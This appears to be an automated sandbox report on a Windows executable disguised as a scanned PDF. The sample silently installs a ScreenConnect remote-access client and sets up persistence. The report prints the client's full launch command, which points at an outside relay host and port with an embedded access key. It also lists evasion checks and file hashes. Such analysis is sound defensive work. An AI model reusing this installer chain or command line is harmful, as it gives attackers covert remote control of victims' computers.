Analysis

  • max time kernel
    93s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/10/2024, 04:12

General

  • Target
    Scan_PDF_5255303072.exe
  • Size 5.4MB
  • Sample241002-esh3cszgjd
  • SHA256 a337a28b1413ed787b4e313cfb04ffef6a4730cddc7543b18b6b8656e65111a0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Scan_PDF_5255303072.exe
    "C:\Users\Admin\AppData\Local\Temp\Scan_PDF_5255303072.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4448
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1088
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3640
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9DAD7A10B6F5D809A7729BD0CED39BA1 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:456
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB0F1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240628453 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3132
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3940
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 568676A81660DB764E3A3D45AE7A2026
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2548
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 42F332D5EBC24D16F3EDAE422585C833 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3096
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1000
    • C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=kkl22.ddns.net&p=8041&s=2481afb5-1818-4366-9bf7-7ba727c731df&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&t=scan_pdf&c=scan_pdf&c=scan_pdf&c=scan_pdf&c=scan_pdf&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe" "RunRole" "aaf642fa-16c3-4f00-9b84-19ee54f624f1" "User"
        2⤵
        • Executes dropped EXE
        PID:2524
      • C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe" "RunRole" "5488d699-f387-4948-9d53-d3ff432cf7fd" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4720

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57e158.rbs

          • Path C:\Config.Msi\e57e158.rbs
          • Size 214KB
          • SHA256 0ede39f98a1c33458c29a9579fd1ea2fcb7b0d98659f147d6383fef9aa6db8d1
          • MD5 SHA1 SHA512 SSDEEP

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.Override.en-US.resources
          • Size 450B
          • SHA256 7640b00e9697c4e09dc5e7fc461b5bce89cd625a6b5de11df84bcb49380c24a4
          • MD5 SHA1 SHA512

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.Override.resources
          • Size 44KB
          • SHA256 ed322796ce6d0b944b54fc0b99c8155bb0784f3ea82d1f5479cb42644d471fc5
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 d37f58aae6085c89edd3420146eb86d5a108d27586cb4f24f9b580208c9b85f1
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 c76f1f28c5289758b6bd01769c5ebfb519ee37d0fa8031a13bb37de83d849e5e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 512f9d035e6e88e231f082cc7f0ff661afa9acc221cf38f7ba3721fd996a05b7
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe
          • Size 587KB
          • SHA256 9cfd2c521d6d41c3a86b6b2c3d9b6a042b84f2f192f988f65062f0e1bfd99cab
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\system.config
          • Size 946B
          • SHA256 6277ce4d3bb166cddfa104fbf2f1892353be95c2b1bdd025b102b08b41b4e5d4
          • MD5 SHA1 SHA512

          MSIB0F1.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB0F1.tmp
          • Size 1.0MB
          • SHA256 4bb0e9b5c70e3caeb955397a4a3b228c0ea5836729202b8d4ba1be531b60dafc
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB0F1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB0F1.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 4d4bf19ad99827f63dd74649d8f7244fc8e29330f4d80138c6b64660c8190a53
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB0F1.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 25c495fb28889e0c4d378309409e18c77f963337f790fedfbb13e5cc54a23243
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB0F1.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 abca7cf12937da14c9323c880ec490cc0e063d7a3eef2eac878cd25c84cf1660
          • MD5 SHA1 SHA512 SSDEEP

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi
          • Size 12.9MB
          • SHA256 09f76136438f8450ddf58ccdc69b266a05a7db3b3e29098471c56386390e1c68
          • MD5 SHA1 SHA512 SSDEEP

          MSIE281.tmp

          • Path C:\Windows\Installer\MSIE281.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 23.7MB
          • SHA256 20e2ad206f13ecce4ac720102f059e126699547a4c30ad60d0e9cf369160ca0d
          • MD5 SHA1 SHA512 SSDEEP

          {be99696d-6f62-4d6d-b235-ab42b86a7f07}_OnDiskSnapshotProp

          • Path \??\Volume{8484aac9-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{be99696d-6f62-4d6d-b235-ab42b86a7f07}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 906c136b10f44c78068f47e47f7f5c69b0b4b9b4edddf34623f733f61dbc2be0
          • MD5 SHA1 SHA512 SSDEEP

          memory/1052-122-0x0000000004710000-0x00000000047E2000-memory.dmp

          memory/1052-117-0x0000000004240000-0x0000000004276000-memory.dmp

          memory/1052-102-0x0000000003F60000-0x0000000003F78000-memory.dmp

          memory/1052-120-0x00000000041B0000-0x00000000041F1000-memory.dmp

          memory/1052-118-0x0000000004530000-0x00000000045C2000-memory.dmp

          memory/1052-113-0x00000000041F0000-0x0000000004240000-memory.dmp

          memory/2524-147-0x000000001B010000-0x000000001B09C000-memory.dmp

          memory/2524-152-0x0000000002200000-0x0000000002218000-memory.dmp

          memory/2524-154-0x000000001AFA0000-0x000000001AFE1000-memory.dmp

          memory/2524-153-0x000000001AF80000-0x000000001AF98000-memory.dmp

          memory/2524-151-0x000000001B590000-0x000000001B716000-memory.dmp

          memory/2524-150-0x000000001B250000-0x000000001B3FA000-memory.dmp

          memory/2524-143-0x0000000002250000-0x0000000002286000-memory.dmp

          memory/2524-138-0x0000000000100000-0x0000000000196000-memory.dmp

          memory/3132-45-0x00000000053F0000-0x000000000559A000-memory.dmp

          memory/3132-33-0x0000000002D40000-0x0000000002D6E000-memory.dmp

          memory/3132-37-0x0000000002D80000-0x0000000002D8A000-memory.dmp

          memory/3132-41-0x0000000002E20000-0x0000000002EAC000-memory.dmp

          memory/4448-1-0x00000000015D0000-0x00000000015D8000-memory.dmp

          memory/4448-8-0x00000000060B0000-0x0000000006654000-memory.dmp

          memory/4448-2-0x0000000005810000-0x0000000005B00000-memory.dmp

          memory/4448-3-0x00000000750B0000-0x0000000075860000-memory.dmp

          memory/4448-6-0x00000000055A0000-0x000000000574A000-memory.dmp

          memory/4448-7-0x00000000750B0000-0x0000000075860000-memory.dmp

          memory/4448-13-0x00000000750B0000-0x0000000075860000-memory.dmp

          memory/4448-10-0x00000000750B0000-0x0000000075860000-memory.dmp

          memory/4448-9-0x00000000750B0000-0x0000000075860000-memory.dmp

          memory/4448-0-0x00000000750BE000-0x00000000750BF000-memory.dmp

          memory/4448-4-0x0000000005510000-0x000000000559C000-memory.dmp

          memory/4448-5-0x0000000002EF0000-0x0000000002F12000-memory.dmp

          memory/4720-156-0x00000000029E0000-0x0000000002A21000-memory.dmp